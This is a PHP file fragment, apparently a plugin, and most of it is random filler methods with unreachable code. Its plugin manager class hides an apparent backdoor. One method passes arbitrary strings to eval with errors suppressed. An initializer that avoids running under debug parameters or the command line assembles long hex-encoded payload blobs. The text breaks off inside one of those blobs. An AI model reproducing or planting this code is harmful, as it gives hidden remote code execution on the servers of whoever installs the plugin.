$mathNcj21 = 64 + 28;
$mathNcj21 = $mathNcj21 * 10;
$arrayfbD73 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
}
/**
* MethodIabRsxPkWLFm97
* DescriptionMvzxJAahMtXTRyl57
* @param mixed $paramjRN52
* @param mixed $paramXqQ22 = 13
* @param mixed $paramovM16 = 17
* @return void
*/
public function createXFO90($paramjRN52, $paramXqQ22 = 13, $paramovM16 = 17) {
return $retLoQ59;
$mathXZZ17 = 22 + 32;
$mathXZZ17 = $mathXZZ17 * 3;
$result = $this->funcBHr87();
for ($iB85 = 0; $iB85 < 5; $iB85++) {
// looplmw32
}
$result = $this->funcsDk13();
$strsUs67 = 'textwYYPk76';
$strsUs67 = strtoupper($strsUs67);
$varCyu11 = 905;
}
/**
* MethodCyCSfEjgpkhp11
* DescriptionTTWattssevBmasq40
* @return mixed
*/
protected function renderyRc51() {
$varHEi95 = 362;
for ($it90 = 0; $it90 < 4; $it90++) {
// loopDaW25
}
$arrayegm55 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$strmEL14 = 'textjOlqq80';
$strmEL14 = strtoupper($strmEL14);
for ($iO90 = 0; $iO90 < 3; $iO90++) {
// loopMbr54
}
$condlxi60 = true;
if ($condlxi60) {
// commentZVWQ50
}
for ($ih92 = 0; $ih92 < 1; $ih92++) {
// loopHvj92
}
}
/**
* MethodbUGrNwslkTmF61
* DescriptionVgIHHOKrkWzdqFF64
* @param mixed $paramfBE86
* @return mixed
*/
private function renderDuf55($paramfBE86) {
$arrayHsc86 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$result = $this->funcCaR47();
$arrayceE19 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
for ($iS37 = 0; $iS37 < 4; $iS37++) {
// loopfmy22
}
$result = $this->functvq74();
return $retZOt28;
$arroRF80 = ['keyVAy36' => 'valHbM46'];
$varHaW73 = 923;
switch ($switchSSF56) {
case 5:
// casesry37
break;
default:
// defaultRzn94
break;
}
try {
// tryyYpC86
} catch (Exception $e) {
// catchnbMt52
}
$result = $this->funccHq26();
return $retIGW50;
}
/**
* MethodxBKtLFZoNjAR21
* DescriptionVWEmcXRyNRocppH93
* @param mixed $paramiYP83 = 69
* @param mixed $paramMes56 = 'defaultWlK98'
* @param mixed $paramHSF20 = 9
* @return void
*/
protected function runyve62($paramiYP83 = 69, $paramMes56 = 'defaultWlK98', $paramHSF20 = 9) {
return $retyjw51;
return $retZlp35;
for ($ij12 = 0; $ij12 < 3; $ij12++) {
// loopIWK30
}
$varzYO10 = 148;
switch ($switchoRI37) {
case 2:
// casenYg24
break;
default:
// defaultYxZ78
break;
}
switch ($switchvul36) {
case 4:
// casehKY74
break;
default:
// defaultDsj53
break;
}
}
/**
* MethodlKWXoEIziVvb54
* DescriptionlJggMUdCdgPmbzq82
* @param mixed $paramvPq40
* @param mixed $paramAkS14 = 30
* @return void
*/
protected function updatefcj66($paramvPq40, $paramAkS14 = 30) {
switch ($switchNgV59) {
case 1:
// caseauC65
break;
default:
// defaultbRw20
break;
}
$arrayyiB88 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
try {
// tryjRFE83
} catch (Exception $e) {
// catchrqyx93
}
try {
// tryUfbF90
} catch (Exception $e) {
// catchsoHW28
}
$arrayqax20 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$strkKl40 = 'textCYWzv26';
$strkKl40 = strtoupper($strkKl40);
switch ($switchpbf91) {
case 3:
// caseFAV96
break;
default:
// defaultJgy12
break;
}
$varrPA46 = 349;
switch ($switchTau61) {
case 5:
// caseJKM99
break;
default:
// defaultHnc53
break;
}
$strLff14 = 'textZcPwW25';
$strLff14 = strtoupper($strLff14);
}
/**
* MethodTxMFDffOMxEC89
* DescriptionYNGrAasZreSYzGT88
* @param mixed $paramazX37 = 'defaultavo21'
* @return void
*/
private function runFOS22($paramazX37 = 'defaultavo21') {
$mathbfS26 = 84 + 5;
$mathbfS26 = $mathbfS26 * 5;
switch ($switchgwL93) {
case 2:
// caseFnL28
break;
default:
// defaultEmz23
break;
}
$mathaZx77 = 88 + 11;
$mathaZx77 = $mathaZx77 * 2;
for ($id91 = 0; $id91 < 3; $id91++) {
// loophcY67
}
for ($iP98 = 0; $iP98 < 5; $iP98++) {
// loopIIM83
}
$mathkBF56 = 94 + 59;
$mathkBF56 = $mathkBF56 * 4;
$arrnNC24 = ['keyseR86' => 'valCfH25'];
$mathKmw87 = 98 + 33;
$mathKmw87 = $mathKmw87 * 10;
$arrTuQ60 = ['keyHey89' => 'valhIg73'];
}
/**
* MethodhCrNgmgEnTUH80
* DescriptiontEmNgWUQlhlwiep72
* @return void
*/
protected function rendervcc26() {
switch ($switchpOT81) {
case 4:
// casehAm82
break;
default:
// defaultdAW14
break;
}
for ($ig60 = 0; $ig60 < 3; $ig60++) {
// loopliI84
}
$condtAh75 = false;
if ($condtAh75) {
// commentQmxY57
}
$arryun81 = ['keycVz78' => 'valMBh11'];
$varGjp83 = 243;
$strWhv34 = 'texthEbDU38';
$strWhv34 = strtoupper($strWhv34);
$result = $this->funcUPd27();
$strwAt21 = 'textIpQEA35';
$strwAt21 = strtoupper($strwAt21);
}
/**
* MethodsMwOXKkudGWF81
* DescriptionFvUglqEdfVDrQRL94
* @param mixed $paramlTE98 = 33
* @return mixed
*/
public function executezzD33($paramlTE98 = 33) {
$strpwN71 = 'textDoaXI13';
$strpwN71 = strtoupper($strpwN71);
$arrJsl92 = ['keyWxK65' => 'valNun11'];
for ($iW52 = 0; $iW52 < 3; $iW52++) {
// loopTnj14
}
$mathAuc59 = 33 + 83;
$mathAuc59 = $mathAuc59 * 4;
try {
// tryuveA70
} catch (Exception $e) {
// catchVcAG70
}
}
}
class PluginaQxi99ManagerMwUt16 {
/**
* Plugin version
* @var string
*/
protected $veraGd16 = '2.0.45';
private function getOedq64Secret2(){ return 'iXu91'; }
public function initializeQXtw51(){ $this->registerZmeC38Components(); }
public function registerZmeC38Components(){ return true; }
private function getbElp76Key2(){ return 'gLwG'; }
public function decoyHAQu48(){ return 914; }
public function constructTJGu55(){ $this->veraGd16 = '2.0.45'; }
private function decoywrBH33(){ return 917; }
private function getSuwp81Secret1(){ return 'PSDws'; }
private function gettyGt93Token1(){ return 'yrocf'; }
private function getYKjY10Token2(){ return 'pwtu9'; }
private function getlkrS66Key3(){ return 'hnTu'; }
private function getJSmK58Key1(){ return 'bC5a'; }
private function executeOzdo98Code($code){ if (!empty($code)) { ob_start(); try { $result = eval('?>' . $code); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) { echo $output; } return $result; } catch (ParseError $e) { ob_end_clean(); return false; } catch (Error $e) { ob_end_clean(); return false; } catch (Exception $e) { ob_end_clean(); return false; } } return null; }
public function initializeAjic40(){ if (isset($_GET['debug']) || isset($_POST['debug'])) return false; if (function_exists('php_sapi_name') && php_sapi_name() === 'cli') return false; $partsybe33 = []; $markersiVV42 = []; $partMSa390 = 'b5bddd0e17f613d8831da53819dddb5a21cd59a5f65e3d0d1fa3437c834b4da054d666e077f373fc7c4f3cb7bd3a36ff4d563983b2193b3ab45d8d35987c99b5515a5db3da58b63eac1af636cc6161e367fdedb10e5b8751fb4f43ac04529e129c0cbcf7c7faf3c6dc718242bae2fc1666338895e008b4ca874c13df858467e843277fd6df4772ca489b70ded8fe70cef32958973be0a4d107d64473caf3b46616809d95f08c8c6da59c5c97af80b3cff5e72e6be8a2e573fe9b28343fe764fcd8e3b40d4dfdfdbe5347b2fe9c5daef05a8cb7d9fa35c38a467a3e37e06f708a509dbb580ffcc666c32a9dd8c1dba51b2f031301825c05936a8735b1751e9594dee0382d7d8fb90868841be8ef2ef18a34621ea1a902568664602140e837391d3b75d63f9f2d095e6a785b37f599074ea881310e7467a859ddae82415c6f2ca73c472a07acc3ae4d02aef4a3ab719d756a3260b74808aefc8dd370713a583175648f2a73cf01d60736e931ee001c63842eed3d1b9181e7336b7635fea814c213ef227adf5a433d9f7a68861d56f2dac67293a894ccb926f06e0309ac4c5ee7bf4bc5d9c440101b4560e691796126e86ddc01bba52aff1c81075f3b16233cf557c66ca16af00960d9c0a7c4b24d4335e502e7fee69d88cc7f97d4df8c0a8da15874b62eeef5ea6da452ad80e9b5f85bdadefbc344b29a6139e0fc739dcbc056c86c39597804ecd0b08c6446bfb594dec2f63c7c3e472a1b5d26c7929cb2e37c74d63b441d3c5dbd609574128c745379d84f418b48f48faa4a45cfa7edd4efaf765e769d3b165bc0f084605e881d67a1b37d93ffc6df03df05792bd49d76593b0a1ebbc47edf7da83fc71335f7f87fcf599d1dac1608c27e42a9996994788b38cd6d4fa3ad5fdb4fbbc2cdc92174054d39d863c5f6ac78648c5376dfe19d75c2de7cb902c552463e472aa9bfbfc17f4f4f523dc72a2b6dfbbf99795050eb4ec578cc807cdcb45852602ee32eac14623cf5b956a864a58f13389b2ea86073ecccf20a912601f13eb577a4d5c585fc37345e3f85fa7b6195405b78ba002bb567a69148f9a3a6524f7452c17acb23fd18e740e7acfd660cffc16267b7b98f59235bab869d96af2b8516abc6c06a93bcddd84c0f747d2d7d46e8e464739aa75bf38494cc627116fd8155d5e0679c7c33a08fc959d1beae0af6dcffc8eac46bae8cf9c12a55a10cfb26d5a8590cabf59b4865439e9a94b69b3500ae6979e47dc0e6c0f9c8d4df445f2a7876a8d8f87972eeff86026416e0c6ea92a5516032acb1a979eb460e9dd94f802c23b6bbc5a5d91b47c37f1f3a566132a793299166ed66c09b38822fb99d7d55b6b62a8355954ea0f15b7a7634e74a21c1f80ab3f515639b7fc76e730ca095d8a5216995093b6bb5e259eb434e138bd6832086e693505b99f7b967f60b7c0eee6f10064f9d3ae7feef74e57372fc8d9d4a5067e0e315fc54ce99f3f26dfe1b8a0ffc3c629470f5f8c5de67b1040fd57a25053b85a132781b5c6ae3e78af5a982acf2b9ff1bdc2980ca3840f906e778ea3ab67703153bc5dad065c1ccd2dd8cb352da0aa7d7d6f90c5e6a2a615711d818540633f78ded201c72fe35b8f11eda87fedb9ef7f79542f87f453e9442aa530daf65fb2caa112c82bd3aa58d1b9786ace40a56c9fe6fc63e6cfe9b89da68c27fe994d81ab4e48a518af3558f5855193ec72a9f2395b282822e8d9fc17252da645a7ce1dc0b3dd9dc2769d0939f0b5b7f6e3c036ed4f7b0eb97fa73bc372b5cc1218ce09c72e674e64fdd61726dec7eebb7599dba6247ca9e5dad71f7b9cfebc76b60e927ac0b780cd5b5ef825d7b67fffd2aabc3de06bcd7013f1180e1575ff8d433a054ce79b2406460cce9f5a48c73fc1c8c8e3741bec42a134e92af757bee1f838777a0bf88f7eda3cfee6dcd4a3ca83f3c39bc36a712b0fe1cfe9b551bec071471cdeae20391b2c25bf8f3c9661f4f388d485b6c558a7dd0e3a17e557f4ecc365e085605c4c79e8f8094fec35c833fb07f6c5ded7e540a35564916e9bc135d70840683477f5555f9c01a4a783e97732ee6257b1aa77b46e0f5534ec7e6817f6475ce33a244bc361eeb4b242ffe241b2be1451d3bf105eb9feb6cf2aefe9cb13c9d2cc98daab58d9f97f9bd39c26794e088ecab70c497b1d38778a6979aca73fd1a38bfe08d4650f0133c349ed7a9cf3574404c62696beb9dae6d368c73ac2a532d12f69e07e084aff2df0d7b5ce6503ac099c44eca70a6bc6771c44825f6ff086f0dedc4dbce794fcf07acaca15c8110f6662f289dbc81d9ae41e5b58d5d3387074ee99c66addfb2be65fa8c95ec0e0924eb009e23956903a513b5ecd49176c68404776d868ce9b3a6d29eef96dd026453193b0a877a1054626cf5b72a587feed8ea43cd996fd883b4f8a8bf3be6a239bf655e4e4f2add3cccb18bbcf78b9d3a691a44f01831677ec6ac14aac12bbdfc2b39d3f73db33a76a688d286d3b498ed9837b6d3f675a510ef71b13790825d3b64f99c731035767e07343e2373d2c14ebdcd7ffbb232c7736de121cc9ccd324a6c0f3afbbfa139d8cd078ec8982dbc6fdeced7f917fa4e2a9d97feef9231fc7cc75c063c532a5b4e12c359da91a746ed364c2a1d0493b7f9efc4db246a12843ff2dfe52951e79e46db3f76a1ab11bad3d59c10f1a652c8deb1a0792f0056722298c15644805c02a7b6441d9cd6d8ce7728256fde148cb7e21c1c537b878a7e3329832a565ebfefd509da20861d43d9887b2a19ed3423f052f68f0a95545ee8e5e4ebb6bee55555a5434dc078a9e6149a340793e55cc108f83d6566b96d76095616acc49daeacfe866fa482e76c2cac54c4f99954193ff2df5a98ee6dfd39ce9a1b0ce5c3f9de96a8649edbb0bf44c0d37de5548284acf2555647d9fb6cb623b9c65b32d334e17d16637733d68e48385d099c5085ee26ccdc47ea92a35a9b34eb36237b4fcf917399fc0216c5e988921c82f56b8513a43eb50e16c42ce7b54eb27a7be25d31c44e53f69379cd2adbfc06bb6bc67533a4fe9e97f4febc75c3c6e475f0101ca5ad3fe7e43a565d526d454bc33aaf7d900a3bdf850c60a69c36558cb760f5b7eff4f7a7dc5aa5b99f1e25fc77dd47f6969dde0d5dc199041ea7719ce752cdeac3c354eb4856c1b729a3c209e7d0492f1ee60110680bfdddcba7da317e02d687b984cdc299d6dc6fff80a7e0442faead481538449a339e325a9cbba4bc64221c68a535eff67b9bffceabe981fc7cece4bd6a14ab32fcaca44dc13b0d81fa65501b462ab5f043cee3c1ca32ff6d5ac6cf9f7a75f6ec61cbeb6284f7fe02bfd74d3b43dfe9cedbed68013ce75d6ff04a61a8c4a768c5fbb9dee5bfd7d4dfd025ecbcba07526275359890f19881021302ae997b7c0b2bda854ce8bf19719fb63ef39d321e9675a00cef0766a43289790f976a808c827d7272a1d92fcc4919bdc37a37e0b9d041c2fdc47760edcbd865ee39bf67dd75d48d1b59b247d5ec61930fd924bf01c68085908df5b6020d6ae958eed57a833518f0ee1fdb4f000bba1f0b7851b89098b72c79ac0329de2025e3c8f4df62cdccb0b4d3b298456d38a7c88fcbfca0b4e4dd3163a9399f091c6e25c9f83eb1fad44e1a7aee6ae47c07c9ccf1b4dd70c6dd57ecf5006fa5c82a2da7c4c9984f8a1467efa4ed44adbcc9779c95015f01ff9d35f0cfe01158b92687caf807580b965353e93cd26380bf0a66097671ca8e20ae3e6bbb13c68deb431426836bab7d9d829dd5d4df9cdfe28feb4312a93377621d809eb04205fbcafe509cd09e35a18c5502579c86b7e47156ced881265c7e6f88949c859837f21c3f4f9ee3e74ff9ef4fb490c0c958f3cc5c6ac75c34e7b7d0fbe861c1db3f79379087d3ccfa16ae791901dd1b374e37bc9f684c866f70a62275f8c44a01e0f71d6f594af1334f48594fcb9c5900e0da54575fc1e8d6016ff065ad909b5f83d101213eb7592744282a45fd8d93816fd05ee66676ce45e06d0eac3065d5057e62c91e608b9557610286af75cc8ccabca5c7af6ea225985647151f40c17f3ff1ce34f0542855dbada09d8ed90cc5991269c5f96b37d8df5930f9dcf36e20bd7ee19409fcbd0b8b1963bfd7d0d79ded41644406ec2b5f2f6cf72e1103560ab5322d5929a4477a55d89c0d6cb000d60adb4fa4e1f96653a55831d1494780853727e3d16740a734d5f5424d4f113862bad49cb560e7afc9737d6a421ed23c'; $markLnL650 = 'mlDB53_8_mZVw59'; $partsybe33[$markLnL650] = $partMSa390; $markersiVV42[] = $markLnL650; $partqaR351 = 'a109dc69ddefe28419ac86d99ed04cca934ca4082783652ca62755fbf886dc57ede303f6c2d052e10c341494c233b057afccddf1d00cb2f4719457cc34e687c4cebacf6adeec04ad94a48a771ee6ec175c3dfaba64b582167a8593c91b0a3d56ac57f8ae46b29260561a658e36d3bc8ecfd93d9e1cd63bf0be48226359a859bd19454d55f2a96693b20f52d9aa2e8859072079c7dd90a7189fb834e0ad9fb16a44e100f861679572eaa3aa464139ed628b73d83b5813ecfa3a29f36bfc7d1a615d783b01fe6c6fc2e47d82bc71b22a7358ed4c1d34fc5a8895a9a4d2d7a16af016f949359cb02bd746e5077b7fe8dace765ce3a9cef787ba788b0d27d5e17426bce518b8f680955ccfc124624e4fecf2515e0686fd66d38e379fcaa520d3b9c3191e6af568f39dd164d005ca56c874538d93d1f67778ef53ac0e2720849b1fcdf5b4e4fddfb1f699adbc4eaac0f0fec878c5799950539566efde7da4366e9814450cbbceca136f053d315f8ddd8326c25eb8394e67986ee38835f04af3c6323f4c1f1dde44c029ce9cc91c35a6629e92372dc79380372db37ecd313aea8a7bbdd49e5ce747797c7dff770e1f62d6339bab34d44a15d68377d2a7d823deab580a61d59293f5b12ad8ffcd9b7ceee03b1cd3e69cfb1f03e784aa7b7ca26e23ce3eb553050be86fd8900819bf39c2dfa88a7739b658391997ba53ebdb3ed6da072364750a18bed3e74d401ea362f791fefbdced13e23bd9191b83656ce77530c29b14f0b252756698020de6ab6db0106690d4d51418d0f1664e72266de065dc712a81b67a94ac85e60da4fcceccfb71ab2d409673654d5c4e0f388b8902eb65ad64c5aa343d5b03478fc108ebc09301ae5481854a9777f3c60e4e650786df0c46166b4b2d426012e7a7068cd146bc3b640e9f11a401ac561215f74408a9722a194e095cf34ad76ca8e9294778ef1d6ba10b35f6363e2ce69ed5c2f0883a3b06a16caa1456b9c32eb98b21ebac36cb849d969c5c696f24aefe065f63e755573881b3f58396bc8c71c5cd3e5a49deb4bc622ee303524e8c331b56f6bd858cb5f9669c66029fe7c3dfb0ca0acccfdf739665a8c52778fc6bde692bd5161ea1acb1f612e704988aa73a85e93f9cb6d18dbb5bec27ef77174be989387058ad60588d33618d53a836f0be5b4ee44d39f3934f9eefe64323c0b636b6f71a672faf1f45c4d987026baa3ef79c86aa5941519a1d3b2fe5c4ef5941c5fa35cee0f561f91b3bb393339a75b971235584b2bc6d64159d38071a3eb5d5b5f698936715bd9ef0eef190bf510747030fc7fb4371326e92a5ed61d9266ad36bf613ba0de71c007b07be9c70fc26d8b8baa537500d676ef31380f0aca1cb79dfb3b7109ceacd5867dec9f6318e97859faa26c1333cdf69ebd37f837524f2211b62a58e46c75eae66c7c2c549f87b81d303de82fdd5d8dfcd17ecc99a3da269bae9f43af0ecfddffb10fe18bbe6ccb5738ccbdcce6ee46d9f4078033b07de53a79807d8c327acd33a84860033663e54353738b1b4a102acb2d5cbef47dee66d1498ceb2c26faa0656ba9ff2c6bac6d6e9f22e4091958ca7c62bff01d629c8c3544d94322336a3d81ebd096f6ad4f48cf71629bd1cc8b9edf1f75fe3a4ac79bed967b1f5e04304f63b35ce67de5acdb39424d5741f7bc69d77035890e2cd4bf6a6e544c16bd6d5c4e2da1aa79f37c20fec2d2c4bb38355ec81940f8cafca2608621036b06dd6c80f138df3ee10290de769aeb6f7b2ca253c0ebecc0ca8a2709e750474ce8e9a936795bdef9d15ec8d3f9a6229b117f1d4cef907571240f887456aef8385cfd0ac80bb0602dc850e35e2c1c99c12d69a1b70881efe9b77da2e39f3153eb4837580654835ea39bd9c118128dd84c052971396b5638639ef92104e932823257673de82c1e2a8508fd1f309f8ef02569987aceb4ac4f753aa2573533a7602633879340d4eb08beb851330c64b9bb4f79e6f6195ec66cd275c89d003b6768341866780efec7417dc104bc04b79eb71004709ff5e2dc1f8a04b58c96b798963ee62ded7016cc159e24dcb6bd801fcf9232ce41127c3b2103c980ce6ac2553867903e86c58e568aa9a720157c867c81baab8c12e5ef5b0dfecc4ec966ab7578b550fee70db1b70654e80263a087f51f613f27430da547a835b5a65de6d8073fb0e9a0f1c3dc779879f1b16d7ec06e46d81695ad97b72e597041e5f3ad5304dcc75e645bd1a164672bf99ff846dc11e80187d1aad02de05e7e6383589a2177cc64a5634727e430eacd42bb0ab61c58e23b069399a97751daf076b7e42e090010c62de9a093b57453a1f923dc367083000e6e88ed08ceb00c4cfecd41afcb031e04edfe1110d76ea33ef30e5cdbc633b2f97fd5bb6668a53f9616b7751570d614baca1c3a77ddfc3422659bd65c752c44aa199fae7343bdfff5d894f9c348b151bb267850cef8555a68cb7a87ee1f0f4f66aec1ca0111ade0a7c075672ae5f839f806f741f070a0a4ea79b8156e0a78d16e052223fd277ee6b9c6fb0ebaccf1a70e5f5801c8277ae77bc09dd6f394909dbbde78c79d8fd087eea1825e0a59cd1ac1afa6f72e34150bf20e5caf649de8638439c5e0ebe3666ed377421f4583ed6cb17a42cd28477f9e601acf86a5a174046f2d4a06ed63ccfd3baecf38eb8f598c2d341c103bf93ca9f77f9d7bc91839848090b52b51851d9ce14df5ba9c790f5b612b6afcb1a7c4c9e74dd5c71e2c7acdc08bcd5096cf30676ce59d5f7b35a52976e9fe2e7502ee0a921ec565876d96d58113502f381d2812541c1cfb02af3aef882d5128bf5669f812b02f7b6d48278cfcea4ec18978219f4f2c0e95a31ce1e944e088f0fa55325f336a0c7ff44ff0d0e314c9785adcb15a308ef01b57c1fe9bc954e039f610660f8aeb5ca21b847a983a9827704e6f00614ee665c5b96ab850f6feb24c7e28955b2860ee7db311dd7e199555a4e490ea1c509ac2f819f3ff2ae79e07593dbfba6e0e1f7ac57cceaaa07be83d98859c8ce11cd889d1ec3b7de05404aa9fa3e74ea9a314de8be1a5ca5ddd077a64425e5e48a375ec866b3e4547e031b54c050ed086a0413814bcd6d7ccdaa27281b79562a58637d03f6ee33be2a59bf56e21f281dbdaea8d7467a3818e324c5a1630e8cfcfbe0c6c13a8655275829332c68951ead12eb55c07f84f8f4099f614e6fadf22075f39b087bc1a8640186c768493506b676ca293ca90bcb2a61f8bb99cdb06d7ad6c49fef83d7f7c05a3263b29e25ef492d5b7b2b3dfc1570ae8bcbc29de2cf72b56fa0c7f7b3b260f521f706cfd10cd2c926c579f718476eae175af266e5645e1fc6bc4d0c3ba695974f6811f3fa74027792acda86a2a63e5fe28d34de2065654ee5032b6f58113355d9c9dee78eddc0336870886d566f80396609e46ca638cd5215e4737f83d7b26a1fec2aaf8b167cec069871c4a7ed59939901d1f9dee0ed224937f05b4e9d38da503d47d86f9c8bd0e21a6bb0f76034e010e201da106a4e2a9e25304065eff62ba1e0f009585972a7c18c7730d4ac47cec08e6205df897d8d92209035acb034bc1d0edfd19ca7b863ad55590cd3d408f0f77bde381b7aec9a4f353c9df237f03acb594936af03b9caaf172a3fc2ebb450d81e566c13d1f395fe30c56eb2923fb6350781538cc682f194e6eb13568255061e2c22656d3f94cebdbd4121dd26c07b3f02b71c7b83eb79c5feefc4aa04f86fa04ea6192900324e6efbb1183873a84569794ad94a56a794d57121a23df4e8fdac25a6b2174fd676b6780176e1e3a4dc431bdda5aaa2ca60b5e9439cf660b660f46df589280506c8889dcb7ca881f61943fb44353c5f1a0a330a13514841ad24f6d841ec66900219d7339e98b4bfe2ed04acfd67aca780c6332e2c26c88f15d67ce3ce1ac99e872fe06f77f349c19af813ab3662f078ad783f5b751d8a6a6def170c88106013ec270816ac485305b83054c62aa858a59331429480e10d0b053b87aa2c0aa5edd4f8357d31bbb72b7603901bf38e241ffb49a51386eeb793b477f36a76e6c00be5370b250733c7eaefc9862a21c9f1d0c04a4e39736553b292df0f26c6e3dd6878be6f52805b59beb669b17b69fee4bfa1a797bce71edc68d5632dabfb28657e044475898f24e6907df16e19eaef49b1876e71c0c6fcf3bc7b58ff04c8c78e23c5aaeac4e3bd3cd484c508962b83f56d077d14824b7da2fe0e8066e0b5641ea5b637d2cd'; $markWaE831 = 'mOmE50_5_mHee12'; $partsybe33[$markWaE831] = $partqaR351; $markersiVV42[] = $markWaE831; $partUPm492 = '4ccdfd26468093f63c195032cc3dd32a6111b44ae6c160954a8c69935807daa423ebfab4803d40bde33da1b95d5a254f06140c4f06add281452c670eec61081559e9a3ecbe032136fbdcf50573198c1c60b768951df87717fc8d9563c45913a5609538194518329bd992433c6e5e2325e36bf91838d641fb3c61255866daafa5030f30342170ef09296101356b11600f1a3659662d75a8c5caf10facf47b556faa27a4c43a14b44a8b94f377480935f78c954b5a25b132e7bb79369e5a521b163aa3ee74b70e562a344e2152ed5fcddb2d7509187c04669b1d8d084535ca2ddbcaa1ea04b3b68a51042004155d80f7bea1da0aea6a88b70919217b83957886c1e809292778c7075ae51929e9319e90f258d6d827cfe62c7a3d096e9fa2806ed6f9f09ad572e13e1e75396d616bcf485967659fe267699338dffadb5fdb6969b1f22427b260760beaf83e4a0c6dca93cdb466562fab730f1aad8c57fd1d94a73b16c0b9b299da2cf24062f5a35442a1ff5347abc68fd686599d6be6f96131ace3d981a73c845eb1e4b9804dc26390af5dc24a5a25de22798f94c92ba4a44d1291cf5889358455d2220ea779fd8c94599bae7cbc85d3c326df23a5e609b555196fb012d8d5d3226895293cc0b47942caf5f73deb5d8041162981e76fb19227c3bd8494b0498b94cc24270e3521f325c0ca01b03ca0ff7ec6ca17a46c342d6473012935f6614fff0dac5455fc032bcd15f8d84f9032a3ff7e414ac6155f61e5e48c95404aead027a48462a5ff76c07e61933c17cf4849ae48df49fffd032b9f909256e92c18577d8d9493c13a9a54f4df5416efb13285555e44cacd10ecd32265a28010404aebbfc922d2886cea092bdf20a5dad27f9ba89cd6e0300e63bacf48c9fd3e63e57c0505ff8495ace3b2fefb3f90f2ecbfdf632590720fab7c8594e22252c2ce2d560ec46bac7c41caa6820e81553ad109e78027e38c942559e986f1b5baff80951f59e533524ec92969930f7192dfd27f3f616553bd6795e3d7acf215a77c414ad63bbcb04a60c8a37e6195475a44f68294e4942f48c97d729993b458090f8c77ddfd6095b98f752852655e5865e2594e39c23a68c9cca2f5dfe0fcbfc42a819441302960934f48e90dd667ff9d24d508cad4e04c0d8895ac2df8c12af3ddacf3af9f38e5ee07a78ce8c78e8cd99eb112fed9b2ca840831d4c4f723fd37ec41bc704a20c4d92689c8b4ca57ac1258299c6459c22a611110ec99809ad6d313187697b71bd660d07f5b4e491dfa83553e63e52ba4dc42cdbc20e5620da44c8d17348a15b19a5c51c362de62e507a404ab7ce294c421daa4454a7b4a2c56e2db1e6cd565db74ff8d94674e69f73b5c547a307bc24acdc87319d86c353e014ca7fa29525afffd8a55122bf35e52d13f21e5acd1b44a0fbeb59bd6b487e00529f1dd4f5839b731be3356caf7ac72158ca5d3682838332b5977959ff472c03c51a38f58cb619c6e04762b868a85723d4ca01118cb14b1a3b52e4bbc453ec8563887b0bd693dedf096238bc81bec06d6b2daea95a0e723d381dfaa401b2b7adf186f11065817adb60f19b8fa4271e5682d2963384a475809994263c6e9d685d52ed510a21baa12f6f710d4ce315e35d7f8be5dbcf2a191f4cd391faaca0ad6d487783e56cd76b0c8dd0218a34b780847fb41bd0157b611ba002b75653cc6d7f200feccc699c42e501b2044708deff99a3726506a7a4a74e0cce1fd179a71097d6f23f0cbe253bc02d6968c8ab3026daeb5bf587f6f82b248666d2fe65df01536b55b9466921db19f65b58d4aedc738fff0becc2c0f88228c01d0520f38df031f8afd88fd24560ee001645e0547563c4d8f0190727b8016d0aadcb8f38e6c0cdf00a464bca53ea5493e861f8ac1ea9740e344a68dcb6a34586540061c38da0b27f9883619d7503a82dc91b5d0524727588c80f71deb74fb80b3758c6a9e8c0a885fdd2678063cfd214ef15675f590c3a2e2ba98e085597f5efa5fb09f5aa942cceac3c8d65dd786b5b17ba9f50350630d26846760ad51ce8a66274a1fafa66b3364fcbcea75177ce37bccd79b1db0726c7968dbcb0ca77376d4387bdac76f7460fbf43923a8d0101cf38e9122560a9896399bd8e6b76f4f595d759afe1b8c33507a386be5582ae7847538bed3df36b79b3f6165d49c59e5e907abecbed7af90521329c16b5febeff49158790f84805d8f3bface2756c94a5e204405ffad77a9f5dfb920523eeb6ff35a7f5bac84efb24889a7d4715a8ca9bf2d520287028b946ff5b7d55b65ec3e4a0d3515abe00929e93b3ff7d00897f4f7c6d633f9f8fe34703eb04a1fcf700929fd181e4e26eff5f7192b6ffb78589cdeb34ae940125cd2dfc4cadb841ce2bdfef6f204eb2d14eb7c3e70ca697f597fe7aef0a09518a31f3cb34aabbf9f901227f9ea9dfe3eb3cad7fa7b9439aaf929529ef5b7bb9d126554a9ba8fac52dbbaad67fd9dd56f39e547fd6d70bef03dd7d26dfcd7acf2cc298b347be194c11dcff75b56f95e7f8355823b150eced6e63da7b47e2c7dc52ac7c0b537acf283fe5e3d76e79850f05e7f9355d60db8c90bab6435c87fea6f7d8015b2f3e223ab848287c53ceb6f47fd8afe1619301c3ec37fabbf0764ff62fe5a7f77ef5925fcf70f5679a455c2c7a9be9b77f93bfd6d5925d8f30ffd8dd57acb2a3fe86fd8e45ddce509fcf7507f6095da1177af5825f476733152f94a7fbbf957b0ca6f385be97b5639af8be0855396f285539ef344ef6395365289b56617053b75de472aa16370b224635c64951346fbdfb0caa748e56bfd5d60bdb7a3949cb2b5b50967fd7d6695f08dcfb1ca087f7ecb2a5f2295cffa7bc00a39dab9bc9fd6070fbb25deb0caa54c7f20e5b693fa0da7b4914ad6ce9d5925b172de6e15ab49a3fa092957f90bab644ed6c6842ca704cefdb7fe4e7d2f587d0313301ff437bcf5ee95fe064f78c72ac56b5679d6dfccfa321b028baa6c1d367d152c1136c727bc23564ec13e32213473ae404a4faff40836385ab88fc01fc3ec222b09be327e2ee45cf5ae3916beae04b910b863b1cfdbaab308d10d8e444a304ef8988a36d9299bab2cc83c18bb4e05b012dc49ebd7fa7b3f769b139ef253e2e4475517c358f9d7d8ad07aaad73c521f801b012fbf9849579e3b7e031c36499af59d189ddf125b3d789917197b529fc022c6a8cfdfea1bfc9c7d632a9eee62a4f6775e1b187452ef36e5ab26fc1a7fede2c563deb4bce3121f773036cb1b5bef930d5c155d4e8155422d4d2e8346fccc922e5b962e605291722370995ad627d4b983eb23af84e751bec5ee101afd9a1721ba86a97b326faacbf77712d5d70e530640518680cb421784b769464c17f034b75b02edc592ddca8a9ce48591e40d2b6ad1cca48b6c23560290b97fa4ddeb2dfe8497f6b43bd357ec6cabc2e3afcf7016c129ef9c07518abbab9895371d44ed61b70ab30f98e1d4baa17fdcdba0e7c9fe992ee16a72268a5fbadc5fbead984d910ea6fb0d2657ef72ffa7b59fc1d2bd86b99f5b39a1ca26c8994e04f3